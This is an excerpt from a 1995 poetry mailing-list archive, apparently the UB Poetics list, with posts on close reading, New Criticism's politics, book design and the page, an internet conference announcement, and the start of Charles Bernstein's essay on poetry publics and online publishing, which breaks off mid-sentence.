But what about the person (this has actually happened) who thinks that "The Yachts" is an account of a caesarian section? And adduces evidence from the poem to prove this? Is that person flouting the authority of the poem? Such a reading would, to me, seem authoritarian and arbitrary and I would want to escape from that reading and go back to a free perusal of the poem. Which, it seems to me, is about what really goes into the creation of the yachts, how "The Yachts / contend."

And there are good poems that close reading doesn't do much for--poems that depend on evanescent, tangential, indirect, and possibly musical effects.

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154. Gary Sullivan
Re: Text and Sounds and Words and...
Sat 11 Mar 1995

Sheila,

Since this is related, would you mind maybe talking a little bit about the form of your published booklet, _Criteria for Being Touched_? Was this a collaborative

project? I ask because the crayoned cover, and the slip of sandpaper (is that what it is?) stapled to the back of the book, and even the way you have to unfold the pages themselves to read the poems, all seem to further engage your reader, forcing him/her to be aware of "touching." I love what Jonathan Brannen says about getting his students to be aware of the poem as an *experience*, and this, the way your book was manifested, seems to help ensure a reader's fullest participation with that work as experience.

At first, I'd thought it was the publisher's idea to do these things, but I'm beginning to suspect that you'd been the one to do this. Could you verify and, if you've time, expand? It's my favorite of the half-dozen or so books of yours I have, would love to read what you might say about it.

Thanks,

Gary

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155. **Gary Sullivan**

More in re context

Sat 11 Mar 1995

When learning about Bach in music school, it was explained to me (& anyone with better info, please correct or clarify) that keyboard instruments were, by necessity, only *approximately* in key, not only with wind instruments, but with themselves. (A low "G" not being quite "in key" with a "G" higher up, & this on the same keyboard; to say nothing of how a keyboard interrelated with previously extant instruments.) In a sense, assuming that music on the page isn't music, but music's map, the map itself, with the invention of the keyboard, became even further distanced from the physical territory itself. The actual pitch of "G"--even a "specific" "G" carefully drawn onto a specific place on the staff--would be different depending on whether a keyboard or wind was playing it. (& this doesn't even bring in timbre, accent, attack, etc.) To clarify the above, the keyboard literally "flattens" the notes as you go up the scale. Interesting that the keyboard and the printing press were inventions that both came into existence around the same time period. (Not sure which came first, though I suspect it was the printing press.) In a way, what the keyboard does to music (or, to "actual pitch") the printing press does to the word, both written & spoken word. Published books do have a "flattening" effect similar to that of music played on the keyboard. I was a terrible music student, but I took away from it this sense that the meaning of work has everything to do with its "physical" manifestation. So, reading poetry where everything hinges on the "meaning" of the words themselves, where everything is focused down to "language"--it's less satisfying to me. Meaning you can be didactic without

having anything, necessarily, to prove, or wanting to do that, but by limiting yourself to an understanding of "meaning" in a poem being determined solely by the words, the extent to which those words, taken together, mean this or that. Charles, you are absolutely right to consider the context of the UC printing of _Maximus_; I think so many of us (including myself) can be very shortsighted, or blind, to all of the other levels of meaning radiating from a published (however published) work. Whenever I review Sun & Moon books, for example, for _City Pages_ or other journals, I want, always, to say something about how the press itself goes about promoting, or contextualizing the work, which is almost always very dissatisfying to me, it seeming so often to be in direct opposition to a poet's intentions with a particular work. (I don't make fun of S&M's "Classics" series just because I'm cantankerous.) Yes, as John Caley says, publishing is largely about "convenience"--which immediately sets up a tension between work written *against* convenience of any sort. And what poetry--besides the purely didactic--has ever been written *for* convenience?

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156. **Patrick Phillips**

Re: the berm

Sat 11 Mar 1995

---

chris -

I jest want to think you for sentimenting the echo.

patrick

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157. **maria damon**

Re: cloze reading

Sat 11 Mar 1995

In message <[redacted]> UB Poetics discussion group
writes:
> The notion of close reading, parsing, fakes an ideological neutrality that
> we've all come to know as a right-wing excision of the social because it
> relegates the poetic act to an independent linguistic domain. This embrace
> of the idea beyond the motivation of it is a close (cloze) reading - a cold
> embrace. The fold, or moment of discovery, comes when we are not parsing
> "The Idea of Order at Key West," the lay of the land/sea as described by a
> resolute metaphysician. This is par - the task of close reading as an
> encounter with the independent idea is equal to the face, or aspect of the
> writing. It seems to me the real moments of discovery lie in the friction
> between the practice of distilling and a poem that refuses, or complicates

> that distillation through, for example, it's linguistic opacity and/or
> cultural "position." In these contexts, close reading becomes an engagement
> with that friction, the totality of languaging, the rubbing up against the
> social, the motivation of the poem cutting in one direction, while the idea
> of the language tumbles in another. It is here that there is a
> determination of reading as a process of the social, because here our
> belief in the distinction between language and motivation is tried. So, in
> this trial, close reading becomes a passionate exchange of the social and
> the linguistic; the linguistic becomes/is the social. Close reading in this
> case is really close. We begin to parse, or closely read ourselves.
>
> Patrick Phillips

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158. **maria damon**

Re: more on close reading, theory, politics, etc.

Sat 11 Mar 1995

---

the new critics/agrarians were indeed political reactionaries, as walter kalaidjian's forthcoming essay in Marketing Modernisms (Duke UP, ed. Watt and Dettmar) demonstrates; allen tate defended lynching, etc. so any attempt to make them sound noble in their pleas for political "neutrality" is just plain naive. however, that does not mean that any close attention to a text, esp. as people have been delineating those multifarious practices on this list, is fascistic. --maria damon

In message <[redacted]> UB Poetics discussion group
writes:
> Before I go off on different tracks, I'd like to ask those who've noted a
> lack of undergrad ability to do close reading whether they think that
> correlates with an increased student understanding of history, current
> events, political theory & other matters of social context, or whether they
> find it part of a more overarching crisis in U.S. education? I'm also
> assuming there are many thousands of exceptions, am I too naive?
> Regarding close reading, Kathe Davis wrote: "Anything can be TAUGHT
> tyrannically, but there is nothing INHERENTLY tyrannical in being urged to
be
> more aware."
> I totally agree. (Perhaps contemporary critics exaggerate the New
> Critics' lack of concern for social context? Were New Critics also
> exaggerating predecessors' lack of attention to textual matters?) Overall, I
> don't really think any particular style of literary criticism, nor any
> particular style of poetry for that matter, is inherently progressive or

> reactionary. For instance, among deconstructionist literary critics, as among
> the modernist poets, politics ranges from democratic left to fascist. I think
> we always have to try to avoid *a priori* assumptions based merely on form
or
> style, and take an actual look at the particular work (again, both its
> internal & external dynamics) & make a case for our reading or judgment of
> it.
> (Re the matter of attaching inherent political qualities to literary
> styles, let me begin to walk out on what is definitely a tangent & possibly a
> limb...) I think one tendency that can lead to imposing *a priori* political
> labels, often used to dismiss certain styles of criticism or poetry
> out-of-hand, is a tendency to conflate conceptual categories. This seems
> pretty common today. One of my favorite contemporary examples is the
> post-structuralist theorist, Lyotard's (highly influential, I think)
> conflation of the philosophical concept of totality with the political system
> of totalitarianism. Besides conflating categories, that equation also seems
> mistaken on the practical level, since the concept of totality was used
> (among others) by some marxist thinkers who were clearly theorizing the
> extension of democracy into all spheres of public life (e.g. extending
> democratic rights to the working class) to ensure that no leaders could
> remain unaccountable or outside the rule of law & in order to safeguard
> diversity. As Daniel Singer has pointed out: during Rosa Luxemburg's day,
> using the phrase "democratic socialism" would have been like saying "buttery
> butter." No matter what other disagreements one might have with some of
> these theorists (e.g. problems with teleology, orthodoxy, etc.), many were
> clearly working for a *more* democratic society, not a less democratic
> one--and it seems silly to blame these theories of extending democracy for
> the eventual and often-horrific development of "actually existing socialism"
> in the Soviet bloc.
> (Walking further out toward the limb's edge?...) This conflation of
> categories also seems to me to occur in some language poetry theory where
> traditional narrative & syntax structures are sometimes conflated with the
> rules of the existing state--rules that interconnect with language
> structures, of course, but that aren't reducible to language structures. (I'd
> appreciate corrections here, since I'm still trying to learn this stuff...)
> In this argument, as I understand it, breaking the dominant rules of syntax
> (or creating non-narratives or anti-narratives in Jerome McGann's
> formulation) is seen as an inherently radical act. But it seems to me that
> both narratives and anti-narratives can be used for different purposes--both
> potentially able either to help promote notions of progressive social change
> or to help protect the status quo. (Re the latter, I think of TV commercials
> that appropriate techniques of modernist juxtaposition; corporate paper

> shredders; government documents & speeches that are filled with huge gaps in
> narrative & logic, sometimes foregrounding language at the expense of
> content, in order to mystify the public or maintain plausible deniability;
> etc.) I think part of the tendency among poets (myself included) & literary
> theorists to conflate conceptual categories (esp. the literary & the
> political) is the result of some part of us hoping that our writings might by
> themselves transform the often-distressing political reality of our day.
> But, as much as I wish as a poet that I could believe in "magic
> bullet poems," or, more to my political preference, "magic nonviolent civil
> disobedience poems," or even "magic post-structuralist deconstuction of
> oppressive state apparatus poems"; and as much as I think terrific poems
> often derive a good deal of their energy from their attempt to achieve such a
> magic transgressive political ability; it seems to me more helpful & honest
> to think (heuristically) of categories like poetry, politics, economics, etc.
> as distinct spheres that interrelate in complex and mediated ways--i.e.
> spheres that are not conflated but not autonomous either. The fun &
> challenging part then is to explore the ways they do (& might possibly)
> interrelate under particular (past, present or future) circumstances. For
> example, one can consider ways in which particular poems might interconnect
> with social context by raising an audience's political consciousness,
> inspiring alternative ways of thinking, urging commitment, offering shrewd
> historical critique, envisioning healthier social reconstructions, etc. I
> don't think contextualizing precludes "close reading," since I don't really
> think it's possible to talk about a poem's relation to social context without
> looking at the text's internal dynamics. Poems, then, written in a wide
> variety of forms and styles, including poems that explode traditional syntax
> & also poems that use traditional syntax, can potentially be seen to contain
> emancipatory elements which a reader or critic (using a variety of critical
> styles) can draw out. That doesn't mean that all poems will contain
> emancipatory elements, but just that one has to be open-minded enough about
> questions of form & style to actually look.
> One nice thing about avoiding the conflation of literature & politics
> is that different criteria for evaluating poetic and political realms become
> possible. (I guess I feel post-structuralism & langpo theory have done a
> valuable job in helping to correct what may have been an overly determinate
> way of reading literary texts, but added a not-very-helpful overly
> indeterminate criteria for judging politics.) Poetry is free to eXpeRimeNt
> without getting called petit-bourgeois, too esoteric (or too didactic) or
> some such *a priori* label often meant to dismiss a poem so that one doesn't

> need to read it. (Poetry is also free to explore lots of areas besides
> politics, and also to offer pleasure, etc.) At the same time, more
> determinate and normative judgments are possible in the realm of politics in
> order to arrive at (to even debate) bases for united actions, common
> principles & platforms, agreed-upon strategies & democratic structures,
> etc.--all the stuff required to build the sort of organized political
> movements that are ultimately needed (along with raised public consciousness)
> to create lasting radical, truly democratic & egalitarian social change.
> Sorry for the ridiculous length of this post. I'll go back to sitting
> on the sidelines for awhile.
> Sincerely, E. Katz
>
> (If anyone's interested, re my last post, Stephen Bronner attributes the
> internal dynamic & external dynamic phraseology to an Austrian philosopher,
> Max Adler, whose book in German on Marx and Kant hasn't yet been translated
> into English.)

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159. Ron Silliman

Re: close readings

Sat 11 Mar 1995

I hesitate to reply to a message when I have 22 unread messages (many from this list) still waiting on my machine...but Charles Alexander's comments are too delicious to let pass by.

Jerome McGann & Cary Nelson have both addressed, quite usefully in somewhat different ways, the role of the page in its relation to the text, and I would imagine that most people on this list would agree that it's an active one.

Poetry is full of attempts on the part of poets to dictate the final physical look of a work on the page. (I can remember how very strange I I felt the first few times poems of mine were published in little magazines back in 1965, sort of like a "primative" seeing himself in a polaroid for the first time or my lingering dislike of my voice on videotape.) From Grenier's box to his more recent scribbles to Duncan's typewriter, these attempts generally never worked because the tools (and goals) of the poet and those of the printer and book designer were not identical. I had one publisher (Jim Orsino-Sorcic) who once broke my own lines in places more convenient to his page size! Ah well, Faulkner couldn't get them to publish Sound & the Fury in multiple colors either.

The poets who have succeeded at this have been printers/graphic artists themselves (Blake being the Big Example).

Now with DTP, however, more people have access to some rudimentary form of that knowledge. I controlled every possible element in Toner (designed the cover myself) and in the forthcoming (R) -- where Bill Luoma did the cover. But I know my limits when contrasted w/ a Chax Press.

So, yes, a Big Yes, on every element on the page being a part of the experience of the poem (the poem as an experience). It's pouring outside right now, another day of near Biblical torrents here in California, and I'm reminded of the passage in Brautigan's In Watermelon Sugar (a great little novel), in which he says something like if it's raining outside when you read this poem, then that's the title of this poem,

Ron Silliman
[redacted]

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160. Loss Glazier
FYI (March 24) Internet Conference in Buffalo
Sat 11 Mar 1995

Info about an upcoming conference, FYI:

THE CONVERGENCE OF SCIENCE AND THE HUMANITIES: INTERNET TECHNOLOGIES AND

SCHOLARLY RESOURCES

Friday, March 24, 1995
8:30 a.m. to 4:30 p.m.

The Buffalo Marriott
1340 Millersport Highway
Amherst, NY 14221

This conference is sponsored by the Conversations in the Disciplines Program of the State University of New York with support from the University Libraries and Computing and Information Technology, Academic Services, of the State University of New York at Buffalo.

Note: For a complete online brochure of the program, use the World-Wide Web to go to:

http://writing.upenn.edu/internet/library/e-journals/ub/rift/documents/conversations

About the Program:

The Internet's impact on scholarly research and communication is the subject of this Conversations in the Disciplines Program, which brings together a group of people involved in applying Internet technologies and resources to studies in the humanities, social sciences, arts and letters, and the sciences. The conference will include a demonstration of Mosaic, Internet radio, and the UB Electronic Poetry Center, as well as an RIF/T poetry reading.

Program Schedule:

8:30 - 9:00 a.m. Registration and Continental Breakfast

9:00 - 9:30 a.m. "'Our Words Were the Form We Entered': Towards a Theory of the Net," Loss Glazier, University at Buffalo

9:30 - 10:00 a.m. Paper: "Electronic Scholarship," John Merritt Unsworth, University of Virginia

10:00 - 10:30 a.m. Coffee Break

10:30 - 11:00 a.m. Demonstration: MOSAIC, Jim Gerland, University at Buffalo

11:00 - 11:30 a.m. Paper: "Gender and Democracy in Computer-Mediated Communication," Susan Herring, University of Texas-Arlington

11:30 - 11:45 a.m. Event: "Internet/Radio/Communites: Social Relations and the New New Media" Martin Spinelli, Independent Radio Producer

11:45 - 1:00 p.m. Lunch

1:00 - 1:30 p.m. Paper: "I Don't Take Voice Mail" Charles Bernstein, University at Buffalo

1:30 - 1:45 p.m. Demonstration: Electronic Poetry Center and "Textual Spaces: The Formal Structure of Published On-line Writing" Kenneth Sherwood, University at Buffalo

1:45 - 2:15 p.m. Event: Poetry Reading Charles Bernstein, Loss Glazier, Kenneth Sherwood, and Katie Yates

2:15 - 3:00 p.m. Afternoon Coffee and Poster Sessions: Internet Art, Internet Music, and "Collage"

3:00 - 3:30 p.m. Paper: "E-Journals and Preprint Servers In Mathematics and Science," Professor Neil Calkin, Georgia Institute of Technology

3:30 - 4:15 p.m. Issues: "Continuing the Conversation: Internet Issues and Concerns" Stuart Shapiro, Valerie Shalin, and the Audience. Stuart Shapiro, "Graphical User Interfaces: A Critique."

4:15 - 4:30 p.m. Closing Remarks

About the Main Speakers:

Charles Bernstein is David Gray Chair in Poetry and the Humanities at the State University of New York at Buffalo and co- editor of L=A=N=G=U=A=G=E, a literary magazine often credited with founding a well-known and highly visible school of contemporary poetry. He has recently been influential in founding the Poetics Program in English at the University at Buffalo. He is the author of twenty books, including A Poetics, published by Harvard University Press, and has given papers in the U.S., Canada, and Europe. He is editor of the Poetics listserv on the Internet, one of the most vital electronic discussion groups in contemporary literary theory.

Neil Calkin, Professor of Mathematics at the Georgia Institute of Technology, grew up in England, where he studied mathematics at Trinity College, Cambridge, before earning a Ph.D. in Combinatorics and Optimization from the University of Waterloo, Canada, in 1988. He was Zeev Nehari Assistant Professor of Mathematics at Carnegie Mellon from 1988 to 1991. Since 1991 he has been a member of the mathematics faculty at Georgia Tech. He is co-founder and managing editor of the Electronic Journal of Combinatorics, one of the first WWW journals in mathematics.

Susan Herring is Associate Professor of Linguistics at the University of Texas at Arlington. Since 1991, she has been investigating the language of discussion groups on the Internet. She is the author of eight papers on the subject, including "Gender and Democracy in Computer-Mediated Communication," which appeared in the _Electronic Journal of Communication_ in 1993 and is scheduled to be reprinted in _Computerization and Controversy_, 2nd edition, edited by Robert Kling. She has given numerous talks on gender differences in on-line communication in the United States, Europe, and Asia. She is the editor of a forthcoming interdisciplinary collection entitled _Computer Mediated Communication_ (Amsterdam: John Benjamins), and will guest-edit a special issue of the _Electronic Journal of Communication_ on "Computer-Mediated Discourse Analysis" containing papers presented at a one- day symposium by the same name to be held at Georgetown University this March. It will be the first symposium and the first publication devoted exclusively to linguistic approaches to computer-mediated communication.

John Unsworth is Director of the Institute for Advanced Technology in the Humanities and Associate Professor of English at the University of Virginia.

He is co-founder and co-editor of _Postmodern Culture: An Electronic Journal of Interdisciplinary Criticism (published by Oxford University Press) and editor of the highly acclaimed Research Reports of the Institute for Advanced Technology in the Humanities. He has taught "Theory and Practice of Hypertext," "the Information Superhighway: An Interdisciplinary Introduction to the Internet," as well as courses in contemporary literature and theory. He is currently working on "Postmodernism and Information Theory," a book-length study of information theory withint the context of postmodern literature, literary theory, and social history. His paper, "Electronic Scholarship," will appear in the forthcoming collection, _The Literary Text in the Digital Age_, edited by Richard Finneran (University of Michigan Press).

About the Program Planners and Participants:

Librarian and poet, Loss Pequen~o Glazier is English & American Literature Subject Specialist at Lockwood Library, SUNY Buffalo. He assists in the maintenance of Internet resources for the Libraries, co-administers the Electronic Poetry Center, and co-edits the electronic journal RIF/T. His most recent book is _Small Press: An Annotated Guide_ (Greenwood Press, 1992).

Nancy Schiller is the Engineering Librarian at the University at Buffalo. Her research focuses on the impact of networked computer and communications technologies on academic libraries. She is co-author of "Creating the Virtual Library: Strategic Issues" in _The Virtual Library: Visions and Realities_ (Meckler, 1993).

Stuart C. Shapiro is Professor of Computer Science and a Fellow of the American Association for Artificial Intelligence. His research has included work on intelligent multimedia interfaces.

Kenneth Sherwood, also a doctoral student in English at UB, is co-editor of the electronic magazine RIF/T.

Martin Spinelli works with National Public Radio and Pacifica as an independent radio producer. He is a Ph.D. student in English at the University at Buffalo.

Poet Katie Yates presently lives in Colorado. Her most recent book, "So Difficulty," was issued by Rodent Press.

Assistant Professor of Industrial Engineering at UB, Valerie Shalin's research is in the area of human-computer interaction, specifically human bahavior and information technology.

Conference organizers: Loss Pequen~o Glazier and Nancy Schiller

To register for the conference please contact Nancy Schiller ([redacted])

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161. Mark Nowak
Silliman's "primative" (sic)
Sat 11 Mar 1995

Dear Dr. Silliman,
I found your post, in which you compare how it felt to have your first poems published in little magazines back in 1965 to ...

"...sort of like a 'primative' seeing himself in a polaroid for the first time..."

truly moving. Do you have any other such engaging similes for us young & older white poets who predominate this list?

Mark Nowak

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162. Charles Bernstein
(no subject)
Sat 11 Mar 1995

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quiet del poetics mlljorge

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163. Pierre Joris
Re: close readings
Sat 11 Mar 1995

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yes, the page... Ron's examples from right now are indeed examplary. the thing goes, however,back a long way. One of the finest examples of poet's will re page left hanging was Mallarme's COUP DE DE. It came out in 1897, & not according to M's design instruction. In fact the very first edition published according to M's instructions came out in the late 70ies (this century) when Mitsou Ronat & Tibor Papp did so. Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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164. Wystan Curnow
Re: Silliman's "primative" (sic)
Sat 11 Mar 1995

I love what somebody says about something. I like it best when some people use abstractions and meaningful generalisations. I'm really enjoying the net these days. Before, I was hurt by the fascistic postings of some people, and I relate strongly to those posts about some people being left out of something, or being kept out more likely. Let's have more of those. But really all the posts are different and not one is better or worse than any other. Everybody is doing their best to be very good and change the world as quickly as possible. Let's hear it for the net effect! love, Wystan Curnow

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165. Charles Bernstein
WARNING: Poetry Area--Publics Under Construction {long post/essay}
Sat 11 Mar 1995

The following is most of the essay I presented at the Twentieth Century Literature Conference, at the University of Louisville, on February 25, at a panel entitled "Constructing Publics", organized by Robert von Hallberg; Maria Damon also spoke at this session. --Charles Bernstein

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WARNING ~ POETRY AREA:
Publics Under Construction

Do publics construct poetry or does poetry construct publics? Not so fast, where's the shell under those nuts, the nuts under those texts, the texts under those author-functions, the author-functions inside those periods, the periods inside those stanzas, the stanzas inside those ever-loving tats for ticks, quantums for particles, buzz saws for heliotropes, missionaries for bugle boys? The public does not and cannot exist until it can find means to constitute itself; to convene in, on or about the precincts of language; to explore its multiple, overlapping or mutually exclusive, constituent parts, elements, components, units, fractions, links, bands, conglomerations, alliances, groupings, configurations, spheres, clusters, divisions, localities; to find means of conversation without necessitating conversion, among and between these constituent parts, allowing that these parts shift and reconfigure in response to changing circumstances. Poetry explores the constitution of public space as much as representing already formed constituencies; risks its audience as often as assumes it; refuses to speak for anyone as much as fronting for a self, group,

people, or species. In the process of recognizing new communities, new audiences, and new publics for poetry, as well redressing the previous exclusion of groups from our republic of letters, I want to honor the complexity of contemporary American poetic practice over and above its representativeness. Within universities in the 1990s, contemporary poetry is increasingly being taught for the ways it marks, narrates, and celebrates ethnicity, gender, and race. To fit this curricular imperative, some poems may be selected for their explicit and positive group representations. Other poems (by the same poet or by other poets) may seem less useful if they are found to complicate representation because of their structural or formal complexity -- their contradictory, ambivalent, obscure, or mixed expressions or inexpressions of identity; or because of their negative or skeptical approaches to fixed conceptions of self or group identity. For poetry may wish to question, rather than assume, group identity as much as self identity -- not to deny that selves and groups exist, or have voices, but to take their description and expression as a poetic, as much as an epistemologic, project. Like many developments in education, the trend toward a representative poetry is as much market or consumer-driven, not to say demographic, in origin as it is ideological. The gorgeous mosaic of students in the classroom, to use former New York City Mayor David Dinkins's term, puts an enormous, and appropriate, pressure on teachers to create syllabuses that reflect the various origins of our students as much as their multiple destinations. Yet, like in electoral politics, not every group is recognized as equally significant in the often schematic, not to say gerrymandered, patchwork of multicultural curricula. Similarly, some subject areas such as contemporary poetry are being used to front for the far more static approach to issues of gender, race, ethnicity and sexual orientation in other areas of the humanities and in the social and natural sciences. There are good reasons for this unequal development, since contemporary poetry remains an indispensable site for the exploration of the multiplicities, and multiplicitousness of, identities. TV and Hollywood movies continue to provide inadequate, or nonexistent, representations of many groups in our culture. This may help to explain why poetry and the small press are a _central_ place for such representations, given the independent press's ability to serve what can as easily be called small or niche markets as "marginal" communities. For some groups in our culture, poetry may be a primary site of basic cultural exchange in a way that is hard to comprehend for those who identify with the cultural representations of the mass media. This is why it is crucial to differentiate share-driven mass media from popular and local and folk-cultural activities whose lifeblood is their low market share -- their small scale, let's emphasize, rather than their "unpopularity". But it is not only sociologically identified "groups" that are unserved or underserved by the majoritarian, market-share-driven, mass media, but also "outsiders" of every sort and kind, of every stripe

and lack of stripe, as Maria Damon eloquently argues in _The Dark Side of the Street_. In an increasing intolerant American cultural landscape, nonmajoritarian cultural activities are stigmatized as elitist and as "special interests" even though these activities are the last refuge of local and particularistic resistance to the big government and big media claimed, by the right, to be the source of our problems. The current attacks on public television and public support for the arts and humanities are a sharp warning that intellectual complexity, aesthetic difficulty, and non-mega-market-driven cultural production have become "minor" art activities that cohabit the same shadow world of poetry and the small press as do group- and outsider-identified cultural practices. For if commercial culture is increasingly dominated by entertainment products that are developed, through the use of focus and dial groups, to evoke maximum positive response at every unit of exposure; then art that is not just figuratively but literally untested, art that evokes contradictory and confused initial response, or simply appeals to a statistical minority of targeted readers, will not be circulated through commercial channels. It should be no more a surprise to us in the USA, than it has been for the past few years to citizens in the former USSR, that market forces create different, but not necessarily desirable, cultural values compared to those imposed top down by the old-guard of cultural arbiters or commissars.

In the post-Pantheon world of book publishing, the diversified companies that own the major trade publishers are charged with publishing not simply profitable books but the most profitable books. Works that appeal to minor or micro publics, that is to say small constituencies, are excluded from this system in favor of works that appeal to macro publics, which is to say a substantial market share of the targeted audience. The circumstance is somewhat analogous to a TV show with millions of enthusiastic viewers being cancelled for its failure to garner an adequate public. Yet unprofitable cultural product does continue to be manufactured in the commercial sector and not simply as a result of the inevitable market failures of the entertainment industry. The question is, why are some works published despite their relatively poor profit potential in preference to other works with a similar profit profile? It isn't just nonprofit arts organizations that lose money supporting their particular cultural agendas. Indeed, as far as losing money in an effort to construct a public, the independent and alternative presses are no match for such mainstream magazines as _The New Yorker_, which, despite a circulation that has recently surged to 750,000, appears to be losing as much as $10 million a year (that's something like $13 per subscriber) -- an amount that could finance a good part of the annual cost of the alternative poetry presses and readings and magazines. _The New Yorker_'s parent company, S. I. Newhouse, is apparently less concerned with profit than with cultural dominance -- legitimating the

cultural product that forms the basis of its media empire; for this exercise in hegemony, circulation and publicity are more important than profit. Of course, publishing statistics are notoriously unreliable, especially when they concern the amount publishers are willing to lose -- less to obtain cultural legitimacy, let me correct myself, than to establish cultural values. According to _The New York Times_ (3/2/94, p. C20), Harold M. Evans, the publisher of Random House's adult trade division, told an audience at the PEN American Center that "the 29 books he published that made it on to _The New York Times_'s 1993 list of Notable Books lost $680,000" and the eight books that "won awards from the American Library Association lost a total of $370,000." Evans went on to say that three of these books had advertising budgets of $71,000 to $87,000 each and that these books lost from $60,000 to $300,000 each. Innovative works of literature or criticism or scholarship that challenge the dominant cultural values of institutions such as Random House are not the most likely candidates to receive this type of support; yet without such subventions they stand little chance of being reviewed or recommended in _The New York Times_, whose reviews are closely correlated to its advertisers. The point is not that official "high" culture, just as alternative-press poetry, requires subsidies; but that a system of selection and support favors certain works over others; it is this system of selection and promotion that allows the media conglomerates to control cultural sectors that they have written off as largely unprofitable. Note, however, that the content of the selections is less important for this system of dominance than the system of selection and promotion itself, since the alternative presses can never afford to lose _as much as_ these corporations. It should be no surprise that it is neither the public nor accessibility that creates official literary product, nor that much of official "high" culture is a loss leader. Advertising and promotion of targeted "loss leaders" are evidently worth the price in influencing literary and critical taste, specifically by fostering a cultural climate in which genuinely profitable products may thrive.

Now should be the time to pull the hat out of the rabbit, the bottle out of the genie, the tree out of the paper, the riddle out of the problem. For example to extol the emerging electronic gateway as the balm for poetry, which will soothe our wounds of poor capitalization and shrink-wrapped publics of long-term outsiders, far-out insiders, subaltern-centric rhapsodes, and other statistical anomalies from the upper west side of Manhattan to the Castro district of San Francisco to the vacant lots behind the Galleria mall in Nowhere, USA. ..... I don't believe that technology creates improvement, but rather that we need to use the new technologies in order to preserve the limited cultural spaces we have created through the alternative, nonprofit literary presses and magazines. This is a particularly important time for poetry on the net because the formats

and institutions we are now establishing can provide models and precedents for small-scale, poetry-intensive activities. At the same time, the new interactive environment suggests new possibilities for every aspect of poetic work, from composition to visualization to display to performance to distribution to reading, and indeed, to constructing publics, this afternoon's putative subject. (You say subject, I say object; you say focus, I say associate: subject, object, focus, associate, let's call the whole thing art. But oh, if we call the whole thing art then we must part and oh if we must part -- I'd be the object and you'd be the subject or you'd be the subject and I'd be the object: let's call the art part off.) An enticing thing about today's internet environment is the spirit of innovation and engagement that prevails. A poem with a sound file electronically published by _PMC_ (_Postmodern Culture_) will get many more "hits" (user connections) than a poem published in a comparable print journal because so many people are cruising the net looking for new material. Poetry enters into a performance space on the net, providing text-based content -- something poetry is particularly good at! -- to an audience hungry for it. There is some general interest, from an internet-focussed public, in the new formats being created, including those by poets and poetry editors. The result is that for the moment the public of poetry on the net is unusually eclectic, even open, in their specifically poetic or literary interest. That is, a range of people will read and listen to poetry, or participate in poetry-based discussion groups and bulletin boards, who would not be interested in this genre in its print- or performance-based forms (a claim that also could be made for performance versus print and vice versa). At the moment, we have on the net something like a general audience for poetry -- a claim that rightly will alarm those people conscious of how restricted physical access to cyberspace is. (Of the poets I know in New York, less than 10 percent have e-mail accounts; while in Buffalo, in a university based environment, about 90 percent of the poets I know have e-mail accounts.) But I would argue that it is the current limitation of access and programming that gives poetry its particular edge on the net and as the information superhighway is put in place, the public that will be constructed by it will return poetry to its hard-core. Poetry on the net is very small-scale: I am not talking about big numbers so much as a certain fluidity of audience. At the University at Buffalo, we have set up an Electronic Poetry Center, designed by Loss Glazier, a poet and our humanities librarian, and Ken Sherwood, a poet and a doctoral student in our Poetics Program. The EPC, still under the construction, provides gopher and WWW access to extensive listing of small press catalogs and addresses, electronic versions of print journals and archives of electronic magazines and our Poetics listserve discussion group, plus alphabetically arrayed poems and essays, recent obituaries, sound files, etc. A related project is _Rif/t_ magazine, a electronic poetry magazine (publishing poems, essays, reviews, and chapbooks) edited by Glazier and Sherwood. _Rif/t_

itself has 1,000 subscribers. As to EPC, the number of connections or hits per month has been increasing: we estimate something over 600 connections per month. Some of these hits may be the same user going back for more; at the same time the statistics do not account for all modes of access to EPC, so the number of sessions is actually higher. In any case, over 600 hits in one month compares favorably to the public for an establish literary magazine. Luigi-Bob Drake's _Taproot_ magazine provides the most extensive and useful listing of small -- press magazines available -- providing short reviews of over 300 different magazines and chapbooks in the last issue. _Taproot_ is also available on line, minus its feature articles. The hard copy version of the magazine has a print-run of about 2500, of which 500 are distributed free in Cleveland, its home base. The e-mail version goes out directly to 500 subscribers and is also redistributed to an additional 1,000 e-mail accounts as part of _FactSheet5 Electric_, which in turn is available from over 20 archive and gopher sites with undetermined additional "hits". _Taproot_ itself is also available via the EPC. More startling, and more informative as to the potential for electronic distribution of "literary-niche" audience material, is the incredible success of the electronic journal _Postmodern Culture_. According to co-editor John Unsworth, in the approximately six-month period from May 18, 1994 to Dec. 8, 1994 there were over 40,000 requests for the table of contents of all issues of the journal. In total, more than 358,000 items have been requested from the PMC archives during this same period. Poetry on the net is not so much a positive development as a necessary one. The internet will become increasingly central for poetry because of the economy of scale it provides, given the high cost of printing and paper, the increasing expense for unreliable postal service, the shrinking of the presently tiny public support for literary publishing, and the absence of poetry-committed bookstores in most localities. Poetry editors and publishers often have few alternatives but to use the cheapest means of reproduction available: mimeo in the 60s, xerox and offset in the 70s and 80s, and electronic publishing in the 90s. In the words of Joe Hill, Don't mourn, organize (though there is plenty to mourn over). A crucial prerequisite for that organizing is understanding how this new space will affect the composition and presentation of our work, especially insofar as we respond in our work to this new electronic medium. We also need to explore the implications this emerging space has for the composition and disposition of the publics for poetry.
Unlike poetry on the net, poetry in print and live formats presents few physical limits to access and user-interface given the prevalence of hard-wired body systems for processing spoken language and broad familiarity with alphabetic technologies. Our limits are more conceptual and ideological: the very niche-based, specialized, focussed, small-scale, often non-overlapping readerships that are a fundamental and vital and source of poetry's aesthetic and social value. Many people say that the university, with its captive audience of

mostly 18-24 year-olds, has become the primary site for the distribution of poetry. I don't think this is quite true, but few can fail to recognize how much of poetry's public consists of students. This reflects badly neither on poetry nor universities, quite the contrary; rather, it reflects the appalling lack of public cultural space outside the narrows confines of the literary academy. It is bad for poetry, and for poets, to be nourished so disproportionately; for the sort of poetry I care for has its natural habitat in the streets and offices and malls and parks and fields and farms and houses and apartments and elevators and stores and alleys and parades and woods and bookstores and public libraries. Sometimes I imagine the kind of audience contemporary poetry would have if it were on the radio on a daily basis: say a new half-hour program every night at 8. The public for this programming would be small, although larger than our current publics for poetry. At the turn of this now turning century, radio promised to revolutionize the distribution of poetry, making widely accessible, at no cost, the new the new acoustic riffs of the language arts. For, of all our technologies, radio has the greatest potential to create a democratic listening space. Without access to the public soundwaves, subsidiary, privately available, spoken art media (tapes, CDs) cannot flourish. The exclusion of contemporary language arts from the public air, from radio, is a stark warning about what we can expect from the upcoming merging of cable 